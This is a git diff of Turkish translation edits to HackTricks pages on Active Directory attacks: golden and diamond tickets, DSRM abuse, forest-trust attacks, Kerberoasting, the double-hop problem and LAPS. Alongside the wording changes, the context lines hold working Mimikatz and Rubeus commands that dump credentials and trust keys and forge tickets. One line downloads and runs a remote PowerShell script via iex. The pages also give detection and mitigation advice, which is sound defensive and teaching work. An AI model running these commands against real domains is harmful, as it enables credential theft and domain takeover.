dışı bırakılamaz. - Varsayılan olarak yalnızca **Domain Admins, Enterprise Admins, Administrators ve Domain Controllers** grupları gerekli ayrıcalıklara sahiptir. - Herhangi bir hesap parolası tersine çevrilebilir şifreleme ile saklanıyorsa, Mimikatz'ta parolayı düz metin olarak döndürmek için bir seçenek mevcuttur. diff --git a/src/windows-hardening/active-directory-methodology/diamond-ticket.md b/src/windows-hardening/active-directory-methodology/diamond-ticket.md index 1787f1b2b..a979e9c0d 100644 --- a/src/windows-hardening/active-directory-methodology/diamond-ticket.md +++ b/src/windows-hardening/active-directory-methodology/diamond-ticket.md @@ -4,17 +4,17 @@ ## Diamond Ticket -**Altın bilet gibi**, bir diamond ticket, **herhangi bir kullanıcı olarak herhangi bir hizmete erişmek için kullanılabilen bir TGT'dir**. Altın bilet tamamen çevrimdışı olarak, o alanın krbtgt hash'i ile şifrelenerek sahte olarak oluşturulur ve ardından kullanım için bir oturum açma oturumuna geçirilir. Alan denetleyicileri, TGT'leri izlememekte olduğu için (veya bunları) meşru bir şekilde vermişlerdir, kendi krbtgt hash'i ile şifrelenmiş TGT'leri memnuniyetle kabul ederler. +**Altın bilet gibi**, bir diamond ticket, **herhangi bir kullanıcı olarak herhangi bir hizmete erişmek için kullanılabilen bir TGT'dir**. Altın bilet tamamen çevrimdışı olarak, o alanın krbtgt hash'i ile şifrelenerek sahte olarak oluşturulur ve ardından kullanmak için bir oturum açma oturumuna geçirilir. Alan denetleyicileri, TGT'leri izlememekte olduklarından, (veya onlar) meşru olarak verilmiş olanları, kendi krbtgt hash'i ile şifrelenmiş TGT'leri memnuniyetle kabul ederler. Altın biletlerin kullanımını tespit etmek için iki yaygın teknik vardır: - Karşılık gelen AS-REQ olmayan TGS-REQ'leri arayın. - Mimikatz'ın varsayılan 10 yıllık ömrü gibi saçma değerlere sahip TGT'leri arayın. -Bir **diamond ticket**, **bir DC tarafından verilen meşru bir TGT'nin alanlarını değiştirmek suretiyle** yapılır. Bu, **bir TGT talep ederek**, **alanın krbtgt hash'i ile şifre çözerek**, biletin istenen alanlarını **değiştirerek** ve ardından **yeniden şifreleyerek** gerçekleştirilir. Bu, bir altın biletin daha önce bahsedilen iki eksikliğini **aşar** çünkü: +Bir **diamond ticket**, **bir DC tarafından verilen meşru bir TGT'nin alanlarını değiştirmek suretiyle** yapılır. Bu, **bir TGT talep ederek**, alanın krbtgt hash'i ile **şifre çözerek**, biletin istenen alanlarını **değiştirerek** ve ardından **yeniden şifreleyerek** gerçekleştirilir. Bu, bir altın biletin daha önce bahsedilen iki eksikliğini **aşar** çünkü: - TGS-REQ'lerin önünde bir AS-REQ olacaktır. -- TGT, bir DC tarafından verildiği için alanın Kerberos politikasından tüm doğru detaylara sahip olacaktır. Bu detaylar bir altın bilette doğru bir şekilde sahte olarak oluşturulabilse de, daha karmaşık ve hatalara açıktır. +- TGT, bir DC tarafından verildiği için alanın Kerberos politikasından tüm doğru ayrıntılara sahip olacaktır. Bu ayrıntılar bir altın bilette doğru bir şekilde sahte olarak oluşturulabilse de, daha karmaşık ve hatalara açıktır. ```bash # Get user RID powershell Get-DomainUser -Identity -Properties objectsid diff --git a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md b/src/windows-hardening/active-directory-methodology/dsrm-credentials.md index 98374e19b..4048f1512 100644 --- a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md +++ b/src/windows-hardening/active-directory-methodology/dsrm-credentials.md @@ -7,7 +7,7 @@ Her **DC** içinde bir **yerel yönetici** hesabı vardır. Bu makinede yönetic ```bash Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' ``` -Sonra, bu hesabın çalışıp çalışmadığını kontrol etmemiz gerekiyor ve eğer kayıt defteri anahtarı "0" değerine sahipse veya mevcut değilse, **"2" olarak ayarlamanız gerekiyor**: +Sonra, bu hesabın çalışıp çalışmadığını kontrol etmemiz gerekiyor ve eğer kayıt defteri anahtarı "0" değerine sahipse veya yoksa, **"2" olarak ayarlamanız gerekiyor**: ```bash Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist @@ -23,6 +23,4 @@ Daha fazla bilgi için: [https://adsecurity.org/?p=1714](https://adsecurity.org/ ## Azaltma -- Olay ID 4657 - `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior` denetimi oluşturma/değiştirme - -{{#include ../../banners/hacktricks-training.md}} +- Olay ID 4657 - `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior` denetim oluşturma/değiştirme diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md index 0f55d4e6c..4cd90e55b 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Bu senaryoda **alanınız** **başka alanlardan** bir **prensipe** bazı **yetkiler** **güveniyor**. +Bu senaryoda **alanınız** **farklı alanlardan** bir **prensipe** bazı **yetkiler** **güveniyor**. ## Sayım @@ -36,11 +36,11 @@ Burada anlaşılması gereken kritik nokta, bu özel hesabın şifresi ve hash'i ```powershell Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local ``` -Bu çıkarım, adının sonunda **$** ile belirtilen hesabın aktif olması ve **A** alanının "Domain Users" grubuna ait olması nedeniyle mümkündür; bu da bu grupla ilişkili izinleri miras almasını sağlar. Bu, bireylerin bu hesabın kimlik bilgilerini kullanarak **A** alanına kimlik doğrulaması yapmalarına olanak tanır. +Bu çıkarım, adının sonunda **$** ile belirtilen hesabın aktif olması ve **A** alanının "Domain Users" grubuna ait olması nedeniyle mümkündür; bu da bu grubun ilişkili izinlerini miras almasını sağlar. Bu, bireylerin bu hesabın kimlik bilgilerini kullanarak **A** alanına kimlik doğrulaması yapmalarına olanak tanır. **Uyarı:** Bu durumu, sınırlı izinlerle de olsa bir kullanıcı olarak **A** alanında bir yer edinmek için kullanmak mümkündür. Ancak, bu erişim **A** alanında numaralandırma yapmak için yeterlidir. -`ext.local` güvenen alan ve `root.local` güvenilen alan olduğunda, `root.local` içinde `EXT$` adında bir kullanıcı hesabı oluşturulacaktır. Belirli araçlar aracılığıyla, Kerberos güven anahtarlarını dökme işlemi gerçekleştirilebilir ve `root.local` içindeki `EXT$` kimlik bilgileri açığa çıkarılabilir. Bunu başarmak için kullanılacak komut: +`ext.local` güvenen alan ve `root.local` güvenilen alan olduğunda, `root.local` içinde `EXT$` adında bir kullanıcı hesabı oluşturulacaktır. Belirli araçlar aracılığıyla, Kerberos güven anahtarlarını dökerek `root.local` içindeki `EXT$` kimlik bilgilerini açığa çıkarmak mümkündür. Bunu başarmak için kullanılan komut şudur: ```bash lsadump::trust /patch ``` @@ -54,9 +54,9 @@ Bu kimlik doğrulama adımı, `root.local` içindeki hizmetleri listeleme ve hat ``` ### Açık metin güven ilişkisi parolasını toplama -Önceki akışta, **açık metin parolası** (aynı zamanda **mimikatz ile döküldü**) yerine güven ilişkisi hash'i kullanıldı. +Önceki akışta, **açık metin parolası** (aynı zamanda **mimikatz ile dökülen**) yerine güven ilişkisi hash'i kullanıldı. -Açık metin parolası, mimikatz'tan alınan \[ CLEAR ] çıktısını onaltılıdan çevirerek ve null byte'ları ‘\x00’ kaldırarak elde edilebilir: +Açık metin parolası, mimikatz'tan alınan \[ CLEAR ] çıktısını onaltılıdan dönüştürerek ve null byte'ları ‘\x00’ kaldırarak elde edilebilir: ![](<../../images/image (938).png>) diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index 21d9ed0a0..126bfce7f 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -1,4 +1,4 @@ -# Dış Orman Alanı - Tek Yön (Giriş) veya iki yönlü +# Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü {{#include ../../banners/hacktricks-training.md}} @@ -60,7 +60,7 @@ IsDomain : True ## İlk Erişim -Eğer diğer alandaki kullanıcınızın herhangi bir **özel** erişimini bulamadıysanız, yine AD Metodolojisine geri dönebilir ve **yetkisiz bir kullanıcıdan privesc** denemesi yapabilirsiniz (örneğin kerberoasting gibi): +Eğer diğer alandaki kullanıcınızın herhangi bir **özel** erişimini **bulamadıysanız**, yine de AD Metodolojisine geri dönebilir ve **yetkisiz bir kullanıcıdan privesc** denemesi yapabilirsiniz (örneğin kerberoasting gibi): **Powerview fonksiyonlarını** kullanarak `-Domain` parametresi ile **diğer alanı** **sayım** yapmak için: ```powershell @@ -78,11 +78,11 @@ Dış domaine erişimi olan kullanıcıların kimlik bilgileriyle normal bir yö ```powershell Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator ``` -### SID History Abuse +### SID Tarihi İstismarı -Bir orman güveni üzerinden [**SID History**](sid-history-injection.md) kötüye kullanılabilir. +Bir orman güveni üzerinden [**SID Tarihi**](sid-history-injection.md) istismar edebilirsiniz. -Eğer bir kullanıcı **bir ormandan diğerine** taşınmışsa ve **SID Filtreleme etkin değilse**, **diğer ormandan bir SID eklemek** mümkün hale gelir ve bu **SID**, **güven üzerinden** kimlik doğrulama sırasında **kullanıcının token'ına** **eklenecektir**. +Eğer bir kullanıcı **bir ormandan diğerine** taşınmışsa ve **SID Filtreleme etkin değilse**, **diğer ormandan bir SID eklemek** mümkün hale gelir ve bu **SID**, **güven üzerinden** kimlik doğrulama sırasında **kullanıcının jetonuna** **eklenecektir**. > [!WARNING] > Hatırlatmak gerekirse, imza anahtarını şu şekilde alabilirsiniz: @@ -91,7 +91,7 @@ Eğer bir kullanıcı **bir ormandan diğerine** taşınmışsa ve **SID Filtrel > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` -Mevcut alanın kullanıcısını taklit eden bir **TGT** ile **güvenilir** anahtarla **imza atabilirsiniz**. +Mevcut alanın kullanıcısını taklit eden bir **TGT**'yi **güvenilir** anahtarla **imzalayabilirsiniz**. ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' @@ -102,7 +102,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d # Now you have a TGS to access the CIFS service of the domain controller ``` -### Kullanıcının Tam Yolu Taklit Etme +### Kullanıcının Tam Olarak Taklit Edilmesi ```bash # Get a TGT of the user with cross-domain permissions Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index 52ee2f28c..8cda1107e 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -4,9 +4,9 @@ ## Golden ticket -Bir **Golden Ticket** saldırısı, **NTLM hash'ini kullanarak herhangi bir kullanıcıyı taklit eden meşru bir Ticket Granting Ticket (TGT) oluşturulmasından** oluşur. Bu teknik, taklit edilen kullanıcı olarak **alan içindeki herhangi bir hizmete veya makineye erişim sağlaması** nedeniyle özellikle avantajlıdır. **krbtgt hesabının kimlik bilgileri asla otomatik olarak güncellenmez** olduğunu hatırlamak önemlidir. +Bir **Golden Ticket** saldırısı, **NTLM hash'ini kullanarak herhangi bir kullanıcıyı taklit eden meşru bir Ticket Granting Ticket (TGT) oluşturma** işleminden oluşur. Bu teknik, taklit edilen kullanıcı olarak **alan içindeki herhangi bir hizmete veya makineye erişim sağladığı** için özellikle avantajlıdır. **krbtgt hesabının kimlik bilgileri asla otomatik olarak güncellenmez** olduğunu hatırlamak önemlidir. -**krbtgt hesabının NTLM hash'ini elde etmek** için çeşitli yöntemler kullanılabilir. Bu, alan içindeki herhangi bir Domain Controller (DC) üzerindeki **Local Security Authority Subsystem Service (LSASS) sürecinden** veya **NT Directory Services (NTDS.dit) dosyasından** çıkarılabilir. Ayrıca, bu NTLM hash'ini elde etmek için **DCsync saldırısı gerçekleştirmek** başka bir stratejidir; bu, Mimikatz'taki **lsadump::dcsync modülü** veya Impacket tarafından sağlanan **secretsdump.py scripti** gibi araçlar kullanılarak yapılabilir. Bu işlemleri gerçekleştirmek için genellikle **alan yöneticisi ayrıcalıkları veya benzer bir erişim seviyesi gereklidir**. +**krbtgt hesabının NTLM hash'ini elde etmek** için çeşitli yöntemler kullanılabilir. Bu hash, alan içindeki herhangi bir Domain Controller (DC) üzerindeki **Local Security Authority Subsystem Service (LSASS) sürecinden** veya **NT Directory Services (NTDS.dit) dosyasından** çıkarılabilir. Ayrıca, bu NTLM hash'ini elde etmek için **DCsync saldırısı gerçekleştirmek** de başka bir stratejidir; bu, Mimikatz'taki **lsadump::dcsync modülü** veya Impacket tarafından sağlanan **secretsdump.py scripti** gibi araçlar kullanılarak yapılabilir. Bu işlemleri gerçekleştirmek için genellikle **alan yöneticisi ayrıcalıkları veya benzer bir erişim seviyesi gereklidir**. NTLM hash'i bu amaç için geçerli bir yöntem olsa da, operasyonel güvenlik nedenleriyle **Gelişmiş Şifreleme Standardı (AES) Kerberos anahtarlarını (AES128 ve AES256)** kullanarak biletlerin **sahte belgelenmesi** şiddetle tavsiye edilir. ```bash:From Linux @@ -36,9 +36,9 @@ Başlangıç ofsetini, süreyi ve maksimum yenilemeleri kontrol etmek için `/st ``` Get-DomainPolicy | select -expand KerberosPolicy ``` -Maalesef, TGT'nin ömrü 4769'da kaydedilmediği için bu bilgiyi Windows olay günlüklerinde bulamazsınız. Ancak, **önceki 4768 olmadan 4769'ları görmek** ile ilişkilendirebilirsiniz. **TGT olmadan bir TGS talep etmek mümkün değildir** ve eğer bir TGT'nin verildiğine dair bir kayıt yoksa, bunun çevrimdışı olarak sahte olduğunu çıkarabiliriz. +Maalesef, TGT'nin ömrü 4769'da kaydedilmediği için bu bilgiyi Windows olay günlüklerinde bulamazsınız. Ancak, **önceki 4768 olmadan 4769 görmek** ile ilişkilendirebilirsiniz. **TGT olmadan TGS talep etmek mümkün değildir** ve eğer bir TGT'nin verildiğine dair bir kayıt yoksa, bunun çevrimdışı olarak sahte olduğu sonucuna varabiliriz. -Bu **tespit bypass'ı** için elmas biletleri kontrol edin: +Bu **tespit bypass'ını** gerçekleştirmek için elmas biletlerini kontrol edin: {{#ref}} diamond-ticket.md @@ -50,7 +50,7 @@ diamond-ticket.md - 4672: Yönetici Girişi - `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property` -Savunucuların yapabileceği diğer küçük hileler, **varsayılan etki alanı yöneticisi hesabı gibi hassas kullanıcılar için 4769'larda uyarı vermektir**. +Savunucuların yapabileceği diğer küçük numaralar, **varsayılan etki alanı yöneticisi hesabı gibi hassas kullanıcılar için 4769'da uyarı vermektir**. ## Referanslar diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index de5f260fa..f3cf665a2 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -4,9 +4,9 @@ ## Kerberoast -Kerberoasting, **Active Directory (AD)** altında çalışan **kullanıcı hesapları** ile ilgili olan **TGS biletlerinin** edinilmesine odaklanır; **bilgisayar hesapları** hariçtir. Bu biletlerin şifrelemesi, **kullanıcı şifrelerinden** kaynaklanan anahtarları kullanır ve bu da **çevrimdışı kimlik bilgisi kırma** olasılığını sağlar. Bir kullanıcı hesabının hizmet olarak kullanıldığı, boş olmayan bir **"ServicePrincipalName"** özelliği ile belirtilir. +Kerberoasting, **Active Directory (AD)** altında **kullanıcı hesapları** ile çalışan hizmetlere ait **TGS biletlerinin** edinilmesine odaklanır; **bilgisayar hesapları** hariçtir. Bu biletlerin şifrelemesi, **kullanıcı şifrelerinden** kaynaklanan anahtarları kullanır ve bu da **çevrimdışı kimlik bilgisi kırma** olasılığını sağlar. Bir kullanıcı hesabının hizmet olarak kullanıldığı, boş olmayan bir **"ServicePrincipalName"** özelliği ile belirtilir. -**Kerberoasting** gerçekleştirmek için, **TGS biletleri** talep edebilen bir alan hesabı gereklidir; ancak bu süreç **özel ayrıcalıklar** talep etmez, bu da **geçerli alan kimlik bilgilerine** sahip olan herkesin erişimine açık olduğu anlamına gelir. +**Kerberoasting** gerçekleştirmek için, **TGS biletleri** talep edebilen bir alan hesabı gereklidir; ancak bu süreç **özel ayrıcalıklar** talep etmez, bu da **geçerli alan kimlik bilgilerine** sahip herkesin erişimine açık olduğu anlamına gelir. ### Ana Noktalar: @@ -18,7 +18,7 @@ Kerberoasting, **Active Directory (AD)** altında çalışan **kullanıcı hesap ### **Saldırı** > [!WARNING] -> **Kerberoasting araçları**, saldırıyı gerçekleştirirken ve TGS-REQ isteklerini başlatırken genellikle **`RC4 şifrelemesi`** talep eder. Bunun nedeni, **RC4'ün** [**daha zayıf**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) olması ve Hashcat gibi araçlar kullanılarak çevrimdışı kırılmasının diğer şifreleme algoritmaları olan AES-128 ve AES-256'dan daha kolay olmasıdır.\ +> **Kerberoasting araçları**, saldırıyı gerçekleştirirken ve TGS-REQ talepleri başlatırken genellikle **`RC4 şifrelemesi`** talep eder. Bunun nedeni, **RC4'ün** [**daha zayıf**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) olması ve Hashcat gibi araçlar kullanılarak çevrimdışı kırılmasının diğer şifreleme algoritmaları olan AES-128 ve AES-256'dan daha kolay olmasıdır.\ > RC4 (tip 23) hash'leri **`$krb5tgs$23$*`** ile başlarken, AES-256 (tip 18) **`$krb5tgs$18$*`** ile başlar.` #### **Linux** @@ -83,7 +83,7 @@ iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast ``` > [!WARNING] -> Bir TGS talep edildiğinde, Windows olayı `4769 - A Kerberos service ticket was requested` oluşturulur. +> Bir TGS talep edildiğinde, Windows olayı `4769 - Bir Kerberos hizmet bileti talep edildi` oluşturulur. ### Kırma ```bash @@ -99,12 +99,12 @@ Set-DomainObject -Identity -Set @{serviceprincipalname='just/whatever ``` Burada **kerberoast** saldırıları için faydalı **araçlar** bulabilirsiniz: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -Eğer Linux'tan bu **hata** ile karşılaşırsanız: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** bu, yerel saatinizle ilgilidir, hostu DC ile senkronize etmeniz gerekir. Birkaç seçenek var: +Eğer Linux'ta bu **hata** ile karşılaşırsanız: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** bu, yerel saatinizle ilgilidir, hostu DC ile senkronize etmeniz gerekir. Birkaç seçenek var: -- `ntpdate ` - Ubuntu 16.04 itibarıyla kullanımdan kaldırılmıştır +- `ntpdate ` - Ubuntu 16.04 itibarıyla kullanımdan kaldırılmıştır. - `rdate -n ` -### Mitigation +### Mitigasyon Kerberoasting, eğer istismar edilebiliyorsa, yüksek bir gizlilik derecesi ile gerçekleştirilebilir. Bu aktiviteyi tespit etmek için **Security Event ID 4769**'a dikkat edilmelidir; bu, bir Kerberos biletinin talep edildiğini gösterir. Ancak, bu olayın yüksek sıklığı nedeniyle, şüpheli aktiviteleri izole etmek için belirli filtreler uygulanmalıdır: @@ -119,13 +119,13 @@ Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{ Kerberoasting riskini azaltmak için: - **Hizmet Hesabı Parolalarının tahmin edilmesi zor olmasını** sağlayın, **25 karakterden** uzun bir uzunluk önerilmektedir. -- **Yönetilen Hizmet Hesaplarını** kullanın; bu, **otomatik parola değişiklikleri** ve **devredilmiş Hizmet Prensip Adı (SPN) Yönetimi** gibi avantajlar sunarak bu tür saldırılara karşı güvenliği artırır. +- **Yönetilen Hizmet Hesaplarını** kullanın, bu da **otomatik parola değişiklikleri** ve **devredilmiş Hizmet Prensip Adı (SPN) Yönetimi** gibi avantajlar sunarak bu tür saldırılara karşı güvenliği artırır. Bu önlemleri uygulayarak, organizasyonlar Kerberoasting ile ilişkili riski önemli ölçüde azaltabilir. ## Kerberoast w/o domain account -**Eylül 2022**'de, Charlie Clark adında bir araştırmacı tarafından bir sistemin istismar edilmesi için yeni bir yol ortaya çıkarıldı ve bu, kendi platformu [exploit.ph](https://exploit.ph/) üzerinden paylaşıldı. Bu yöntem, herhangi bir Active Directory hesabı üzerinde kontrol gerektirmeden **KRB_AS_REQ** isteği aracılığıyla **Hizmet Biletleri (ST)** edinilmesine olanak tanır. Temelde, bir prensip, ön kimlik doğrulama gerektirmeyecek şekilde ayarlandığında—siber güvenlik alanında **AS-REP Roasting saldırısı** olarak bilinen bir senaryoya benzer—bu özellik, istek sürecini manipüle etmek için kullanılabilir. Özellikle, isteğin gövdesindeki **sname** niteliğini değiştirerek, sistemin standart şifreli Bilet Verme Bileti (TGT) yerine bir **ST** vermesi sağlanır. +**Eylül 2022**'de, Charlie Clark adında bir araştırmacı tarafından bir sistemin istismar edilmesi için yeni bir yol ortaya kondu ve bu, [exploit.ph](https://exploit.ph/) platformu aracılığıyla paylaşıldı. Bu yöntem, herhangi bir Active Directory hesabı üzerinde kontrol gerektirmeden **KRB_AS_REQ** isteği aracılığıyla **Hizmet Biletleri (ST)** edinilmesine olanak tanır. Temelde, bir prensip, ön kimlik doğrulama gerektirmeyecek şekilde ayarlandığında—siber güvenlik alanında **AS-REP Roasting saldırısı** olarak bilinen bir senaryoya benzer—bu özellik, istek sürecini manipüle etmek için kullanılabilir. Özellikle, isteğin gövdesindeki **sname** niteliğini değiştirerek, sistemin standart şifreli Bilet Verme Bileti (TGT) yerine bir **ST** vermesi sağlanır. Teknik, bu makalede tam olarak açıklanmaktadır: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index 44ae386a9..691c79736 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -2,32 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} - ## Giriş Kerberos "Double Hop" problemi, bir saldırganın **Kerberos kimlik doğrulamasını iki** **atlama** üzerinden kullanmaya çalıştığında ortaya çıkar; örneğin **PowerShell**/**WinRM** kullanarak. Bir **kimlik doğrulaması** **Kerberos** üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte** **önbelleğe alınmaz.** Bu nedenle, eğer mimikatz çalıştırırsanız, kullanıcı makinede işlem çalıştırıyor olsa bile **kimlik bilgilerini bulamazsınız.** -Bu, Kerberos ile bağlanırken izlenen adımlar nedeniyle olur: +Bu, Kerberos ile bağlanırken izlenen adımların şöyle olmasındandır: -1. User1 kimlik bilgilerini sağlar ve **alan denetleyicisi** User1'e bir Kerberos **TGT** döner. -2. User1, **Server1**'e bağlanmak için bir **hizmet bileti** talep etmek üzere **TGT**'yi kullanır. +1. User1 kimlik bilgilerini sağlar ve **alan denetleyici** User1'e bir Kerberos **TGT** döner. +2. User1, Server1'e **bağlanmak** için bir **hizmet bileti** talep etmek üzere **TGT** kullanır. 3. User1 **Server1**'e **bağlanır** ve **hizmet biletini** sağlar. 4. **Server1**, User1'in kimlik bilgilerini veya User1'in **TGT**'sini **önbelleğe almaz.** Bu nedenle, User1 Server1'den ikinci bir sunucuya giriş yapmaya çalıştığında, **kimlik doğrulaması yapılamaz.** ### Sınırsız Delegasyon -Eğer PC'de **sınırsız delegasyon** etkinleştirilmişse, bu durum gerçekleşmez çünkü **Sunucu**, ona erişen her kullanıcının **TGT**'sini **alır.** Dahası, sınırsız delegasyon kullanılıyorsa, muhtemelen **Alan Denetleyicisi'ni** ele geçirebilirsiniz.\ +Eğer PC'de **sınırsız delegasyon** etkinleştirilmişse, bu durum gerçekleşmez çünkü **Sunucu**, ona erişen her kullanıcının **TGT**'sini **alır.** Ayrıca, sınırsız delegasyon kullanılıyorsa, muhtemelen **Alan Denetleyicisini** ele geçirebilirsiniz.\ [**Sınırsız delegasyon sayfasında daha fazla bilgi**](unconstrained-delegation.md). ### CredSSP -Bu problemi önlemenin bir diğer yolu, [**özellikle güvensiz**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) olan **Kimlik Bilgisi Güvenlik Destek Sağlayıcısı**dır. Microsoft'tan: +Bu problemi önlemenin bir diğer yolu, [**belirgin şekilde güvensiz**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) olan **Kimlik Bilgisi Güvenlik Destek Sağlayıcısı**dır. Microsoft'tan: -> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar ele geçirilirse, kimlik bilgileri ona iletildiğinde, bu kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir. +> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar ele geçirilirse, kimlik bilgileri ona iletildiğinde, kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir. -Güvenlik endişeleri nedeniyle, **CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda devre dışı bırakılması şiddetle önerilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve **WinRM** etkinse uzaktan bile çalıştırılabilir. +Güvenlik endişeleri nedeniyle, **CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda devre dışı bırakılması şiddetle önerilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve **WinRM** etkinse uzaktan da çalıştırılabilir. ```powershell Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock { Get-WSManCredSSP @@ -44,7 +43,7 @@ Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock { Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname} } ``` -Alternatif olarak, ilk sunucu ile bir PS-Session kurmak ve `$cred` kullanarak `Invoke-Command` çalıştırmak, görevleri merkezileştirmek için önerilmektedir. +Alternatif olarak, ilk sunucu ile bir PS-Session kurmak ve `$cred` kullanarak `Invoke-Command` çalıştırmak, görevleri merkezi hale getirmek için önerilmektedir. ### PSSession Yapılandırmasını Kaydet @@ -70,7 +69,7 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname ``` ### OpenSSH -İlk sunucuya OpenSSH yüklemek, özellikle jump box senaryoları için yararlı olan double-hop sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI ile yüklenmesini ve yapılandırılmasını gerektirir. Şifre Kimlik Doğrulaması için yapılandırıldığında, bu, aracılık sunucusunun kullanıcı adına bir TGT almasına olanak tanır. +İlk sunucuya OpenSSH yüklemek, özellikle jump box senaryoları için yararlı olan double-hop sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI ile yüklenmesini ve yapılandırılmasını gerektirir. Parola Kimlik Doğrulaması için yapılandırıldığında, bu, aracılık sunucusunun kullanıcı adına bir TGT almasına olanak tanır. #### OpenSSH Yükleme Adımları diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md index 54f4cc034..0379dfa00 100644 --- a/src/windows-hardening/active-directory-methodology/laps.md +++ b/src/windows-hardening/active-directory-methodology/laps.md @@ -7,7 +7,7 @@ Local Administrator Password Solution (LAPS), **yönetici şifreleri**nin **eşsiz, rastgele ve sık sık değiştirilen** bir şekilde alan adı ile bağlı bilgisayarlara uygulandığı bir sistemi yönetmek için kullanılan bir araçtır. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilmiş kullanıcılara erişilebilir. İstemciden sunucuya şifre iletimlerinin güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır. -Alan adının bilgisayar nesnelerinde, LAPS'ın uygulanması iki yeni niteliğin eklenmesiyle sonuçlanır: **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`**. Bu nitelikler, sırasıyla **düz metin yönetici şifresini** ve **şifrenin son kullanma zamanını** saklar. +Alan adının bilgisayar nesnelerinde, LAPS'ın uygulanması iki yeni niteliğin eklenmesiyle sonuçlanır: **`ms-mcs-AdmPwd`** ve 